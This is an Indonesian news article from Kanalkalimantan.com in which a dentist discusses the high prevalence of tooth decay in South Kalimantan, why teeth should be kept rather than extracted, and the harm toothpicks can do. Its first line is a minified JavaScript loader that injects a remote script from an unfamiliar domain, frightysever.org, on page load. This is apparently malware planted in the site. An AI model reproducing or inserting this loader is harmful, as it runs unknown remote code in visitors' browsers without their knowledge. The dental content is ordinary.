(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kasus gigi berlubang (karies) semakin banyak diderita masyarakat Kalimantan Selatan.
Hal tersebut diungkapkan Dokter Gigi yang bertugas di RSGM Gusti Hasan Aman, Prof drg Rosihan Adhani. Ia mengatakan, privalensi untuk kasus gigi berlubang cukup tinggi, yaitu hampir 60 persen.
Di samping itu, kasus gigi yang sudah rusak atau yang sisa akar juga banyak ditanganinya, hal tersebut disebabkan karena lambatnya penanganan saat gigi berlubang.
Prof Rosihan mengungkapkan gigi berlubang yang tidak tertangani menyebabkan mahkota pada gigi semakin hari akan habis dimakan karies dan tertinggal sisa-sisa akar yang menggangu.
Baca juga : Kapolres Beserta Bupati Balangan Tanam Terong dan Panen Cabai Keriting
“Itu kalau dibiarkan akan terjadi pembusukan atau gigi bernanah dan memerlukan tindakan pencabutan dan sebagainya,” katanya pada Senin (23/1/2023).
Dia menambahkan, pasien dengan kasus gigi ringan bisa langsung ditangani dengan satu kali kunjungan. Sedangkan yang memerlukan beberapa kali kunjungan adalah kategori gigi berlubang yang mendekati ke syaraf.
“Atau gigi yang sudah memang nekrosis yang sudah gaprit dan memerlukan penanganan untuk bisa dipertahankan,” ungkapnya.
Guru besar ULM ini menegaskan jika pada prinsipnya gigi diupayakan untuk dipertahankan selama mungkin, sedangkan pencabutan gigi adalah alternatif terakhir jika tidak bisa ditangani lagi.
“Tapi kita berupaya mempertahankan selama mungkin gigi itu ada didalam mulut dan berfungsi, disitulah tugas dan fungsi kami dan juga keberadaan rumah sakit gigi dan mulut ini,” ujarnya.
Baca juga : Dukung Pemilu Serentak 2024, Bupati Lamandau Persilahkan ASN Jadi Anggota PPK, PPS dan KPPS
Menyinggung pengguna tusuk gigi setelah makan, prof Rosihan mengatakan jika hal tersebut dapat menyebabkan radang pada gigi dan mengakibatkan pendarahan.
Apalagi jika ujung tusuk gigi tersebut patah dan tertinggal didalam jaringan gigi, hal tersebut dapat menimbulkan dampak kurang baik yang menimbulkan pembengkakan.
“Kami tidak menganjurkan tusuk gigi kalau habis makan, bisa saja langsung gosok gigi dan membuang sisa-sisa makanan yang tertinggal pada gigi,” saran Rosihan.
Rosehan menjelaskan jika sisa makanan yang selalu tersangkut dikarenakan peregangan pada gigi atau ada gigi yang berlobang didaerah tersebut sehingga sisa makanan tertinggal.
Hal tersebut menurutnya harus diatasi dan disarankan untuk datang kedokter gigi setempat atau ke RSGM Gusti Hasan Aman untuk diatasi pihak rumah sakit. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.